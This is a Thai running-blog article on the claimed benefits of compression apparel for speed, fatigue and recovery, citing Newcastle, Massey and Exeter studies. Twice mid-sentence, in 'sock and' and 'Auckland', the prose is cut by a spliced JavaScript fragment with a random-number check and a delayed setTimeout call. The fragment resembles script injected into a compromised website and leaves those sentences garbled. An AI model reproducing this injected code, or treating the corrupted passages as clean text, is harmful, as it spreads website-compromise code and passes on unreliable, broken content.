• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Gadget Tips

ชุดรัดกล้ามเนื้อ (Compression apparel) ดีอย่างไร

stepextra by stepextra
17 May 2016
in Gadget Tips, Healthy Tips, Running Tips, Tips & Technics
0
ชุดรัดกล้ามเนื้อ (Compression apparel) ดีอย่างไร
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ชุดรัดกล้ามเนื้อ (Compression apparel) ดีอย่างไร

เสื้อรัดกล้ามเนื้อ, ถุงน่องรัดกล้ามเนื้อ, ถุงเท้ารัดกล้ามเนื้อ ทั้งหมดนี้ที่เรามักเห็นกันบ่อยๆ เป็นชุดเสื้อผ้าในตระกูล “ชุดรัดกล้ามเนื้อ” หรือ Compression apparel

การออกเเบบชุดเสื้อผ้ารัดกล้ามเนื้อ จะเน้นเนื้อผ้าที่สามารถหดตัวและยืดหยุ่นสูง ใส่เเล้วสามารถรัดกล้ามเนื้อเข้ารูปผู้ใช้ได้อย่างดี แต่ที่น่าสนใจ คือ การออกเเบบอยู่ภายใต้คอนการเเพทย์ เมื่อสวมใส่จะช่วยเพิ่มการไหลเวียนของเลือด (Blood flow) เเละน้ำเหลือง (Lymphatic flow) เมื่อนำมาประยุกต์ใช้กับวงการกีฬา ชุดรัดกล้ามเนื้อ (Compression apparel) คาดว่าจะช่วยเพิ่มประสิทธิภาพของนักกีฬาและช่วยเร่งการฟื้นตัวให้เร็วขึ้น

*เรื่องน่ารู้ ระบบน้ำเหลือง(Lymphatic system) เป็นระบบลำเลียงที่ช่วยลำเลียงสารต่างๆให้กลับเข้าสู่เส้นเลือด อย่าง สารอาหาร พวกกรดไขมันที่ดูดซึมจากลำไส้เล็ก

เเม้ชุดรัดกล้ามเนื้อ (Compression apparel) จะถูกออกเเบบภายใต้คอนเซ็ปการเเพทย์ เเต่ผลที่ได้หลังจากการใช้ก็ยังไม่กระจ่างเเจ้ง ผู้เชียวชาญหลายๆ คนเชื่อบ้างไม่เชื่อบ้าง เเต่ก็มีงานวิจัยออกมารับรองผลการใส่เหมือนกันว่า ชุดรัดกล้ามเนื้อ สามารถช่วยเพิ่มประสิทธิภาพเราได้…และได้บางส่วนก็มี

maxresdefault (4)

ใส่ชุดรัดกล้ามเนื้อ เเล้ววิ่งเร็วขึ้นหรือไม่

การทำงานของชุดรัดกล้ามเนื้อ จะเป็นการบีบรัดหลอดเลือด คล้ายๆ การบีบนวดเเล้วคลาย บังคับให้เลือดไหลเวียนผ่านเยอะขึ้น เมื่อมีการไหลเวียนผ่านเยอะ หมายความว่า จะมีสารอาหาร ออกซิเจน มาเลี้ยงเยอะขึ้น เเถมช่วยชะล้างเอาของเสียผ่านไป….ด้วยหลักการทำงานอย่างนี้จึงคาดว่า กล้ามเนื้อเราจะมีพลังงานมาหล่อเลี้ยงเยอะขึ้น ทำให้ผลิตพลังงานและทำให้วิ่งเร็วมากขึ้น

มีงานวิจัยของ University of Newcastle ที่พยายามหาข้อสนับสนุนว่า…การใส่ชุดรัดกล้ามเนื้อจะช่วยเพิ่มประสิทธิภาพให้ผู้สวมใส่ โดยให้ผู้เข้าทดลองทำการใส่ถุงเท้ารัดกล้ามเนื้อ (compression sock) แต่พบว่า ไม่มีผลที่เเสดงได้ชัดเจนว่าการใส่ถุงเท้ารัดกล้ามเนื้อจะช่วยเพิ่มประสิทธิภาพให้วิ่งเร็วขึ้น…เเต่ก็มีข้อโต้เเย้งว่า

  1. มีการไหลเวียนอาหารมาส่งมากขึ้น กล้ามเนื้อน่าจะผลิตพลังงานได้เยอะขึ้นสิ แต่ประสิทธิภาพอาจจะเพิ่มขึ้นในปริมาณที่ยากจะสังเกตให้เห็นได้ชัดเจน เรียกว่าเพิ่มขึ้นมานิดหน่อยมาก
  2. สาเหตุที่ไม่เห็นผลว่าประสิทธิภาพเพิ่มขึ้นอย่างเห็นได้ชัดเพราะ นักวิ่งต้องรับน้ำหนักเพิ่มจากการใส่ถุงน่องรัดกล้ามเนื้อ (คู่หนึ่งร่าวๆ 85 กรัม เเต่เมื่อมีเหงื่ออาจะเพิ่มขึ้น) ก็ได้

เเต่โดยความคิดส่วนตัวของผู้เขียน คิดว่าการที่จะวิ่งเร็วขึ้น ต้องขึ้นอยู่กับ การฝึกซ้อม การสร้างกล้ามเนื้อให้ผลิตพลังงานและการฝึกเทคนิคการวิ่งเป็นหลัก

ใส่เเล้วสามารถลดอาการเมื่อยล้าได้

หลักการทำงานของชุดรัดกล้ามเนื้อ อย่างเช่น ถุงเท้าหรือถุงน่องรัดกล้ามเนื้อ (Compression sock andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and calf sleeve) จะช่วยประคองให้กล้ามเนื้ออยู่กับที่กับทาง เวลาที่เราลงเท้าเวลาวิ่งจะเกิดเเรงสั่นไหวส่งขึ้นมา ทำให้กล้ามเนื้อถูกเขย่าไปมา นี้อาจจะเป็นเหตุให้เกิดอาการเมื่อยล้าหลังจบการออกกำลังกาย

น่าดีใจที่การช่วยลดอาการเมื่อยล้ามีงานวิจัยรับรองโดย Massey University ใน Aucklandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and เมื่อผู้ทดลองวิ่งระยะ 10 กิโลเมตร ( วิ่ง fast pace) พบว่า คนที่ใส่ถุงเท้าหลังจบการวิ่ง จะไม่มีอาการล้าให้เห็นในวันต่อมา แต่ 90% ของคนที่ไม่ใส่ ขาจะมีอาการเมื่อยล้าเเสดงให้เห็น

Professional-2xu-sport-font-b-compression-b-font-font-b-shirt-b-font-men-s-running

ช่วยเร่งการฟื้นฟู

หลังจบการออกกำลังกาย ให้ใส่ชุดรัดกล้ามเนื้อ จะทำให้เกิดการไหลเวียนของเลือดเยอะขึ้น ช่วยเร่งการฟื้นฟูกล้ามเนื้อ (recovery) ช่วยให้เลือดชะล้างของเสียออกจากเซล์ เเละนำสารอาหารมาเลี้ยงกล้ามเนื้อใหม่

ข้อดีอีกอย่างหนึ่งที่มีงานวิจัยรับรอง อย่าง University of Exeter ที่ให้คนทดลองออกกำลังกายแบบ plyometric exercise ในจำนวน 1,2.3 และ 4 วัน แล้วสวมใส่ชุดรัดกล้ามเนื้อ พบว่า หลังจากใส่เป็นเวลา 24 ชั่วโมง การออกกำลังกายครั้งต่อไปจะมีประสิทธิภายมากขึ้นและลดอาการเมื่อยล้าลง

 

ที่มาhttp://running.competitor.com/2014/02/recovery/the-science-of-squeeze-how-compression-apparel-works_43385/4#bX3JfUtzPzKhjCzc.99

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.